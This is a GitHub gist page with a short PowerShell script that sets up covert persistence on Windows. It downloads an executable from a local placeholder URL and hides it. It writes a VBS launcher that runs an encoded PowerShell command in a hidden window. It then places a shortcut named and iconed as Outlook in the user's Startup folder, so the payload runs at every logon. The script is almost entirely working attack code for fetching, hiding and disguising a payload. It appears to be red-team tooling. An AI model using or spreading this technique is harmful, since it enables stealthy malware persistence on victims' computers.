Created
January 23, 2024 15:11
-
-
Save ricardojoserf/d021310080ea34c8c6187d82065dde85 to your computer and use it in GitHub Desktop.
Script to create a .lnk file in Startup Folder with custom icon. It calls a .vbs file with a powershell encoded command which calls a .exe file
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$Url = "http://127.0.0.1:8080" | |
$Dir="C:\ProgramData\Outlook" | |
$ExeFile = "notmalicious.exe" | |
$VbsFile = "CheckUpdate.vbs" | |
$LnkFile = "Outlook.lnk" | |
$IcoFile = "microsoft-outlook.ico" | |
## Create directory | |
echo "Creating directory $Dir" | |
mkdir $Dir | |
## Download and hide .exe | |
wget $Url/$ExeFile -Outfile $Dir\$ExeFile | |
attrib +h $Dir\$ExeFile | |
cmd /c "dir $Dir" | |
cmd /c "dir /a $Dir" | |
## Create .vbs | |
$B64Path = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Dir+"/"+$ExeFile)) | |
echo $B64Path | |
cmd /c "echo Set objShell = WScript.CreateObject(""WScript.Shell"") > ""$Dir\$VbsFile""" | |
cmd /c "echo objShell.Run(""powershell -e $B64Path""), 0, True >> ""$Dir\$VbsFile""" | |
## Download .ico and create .lnk | |
$WshShell = New-Object -comObject WScript.Shell | |
$Shortcut = $WshShell.CreateShortcut("$($env:USERPROFILE)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$LnkFile") | |
wget $Url/$IcoFile -Outfile $Dir\$IcoFile | |
$Shortcut.TargetPath = "$Dir\$VbsFile" | |
$Shortcut.IconLocation = "$Dir\$IcoFile" | |
$Shortcut.Save() | |
## Hide .vbs and .ico | |
attrib +h "$Dir\$VbsFile" | |
attrib +h $Dir\$IcoFile | |
cmd /c "dir ""$Dir""" | |
cmd /c "dir /a ""$Dir""" | |
type "$Dir\$VbsFile" | |
cmd /c "dir /a ""$($env:USERPROFILE)\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\""" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment